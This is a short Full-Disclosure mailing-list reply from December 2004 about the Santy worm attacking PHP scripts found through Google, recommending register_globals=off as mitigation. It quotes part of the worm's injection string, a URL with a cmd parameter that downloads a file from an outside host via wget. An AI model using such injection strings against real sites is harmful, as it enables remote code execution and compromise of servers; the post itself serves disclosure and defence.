[Full-Disclosure] Re: New Santy-Worm attacks *all* PHP-skripts

[Pekka Savola <pekkas@xxxxxxxxxx>]

On Sat, 25 Dec 2004, Juergen Schmidt wrote:
> It uses the brasilian Google site to find all kinds of PHP skripts.
> It parses their URLs and overwrites variables with strings like:
>
> 'http://www.visualcoders.net/spy.gif?&cmd=cd /tmp;wget
> www.visualcoders.net/spybot.txt;...

And AFAICS, this can be prevented by setting register_globals=off in 
php.ini.

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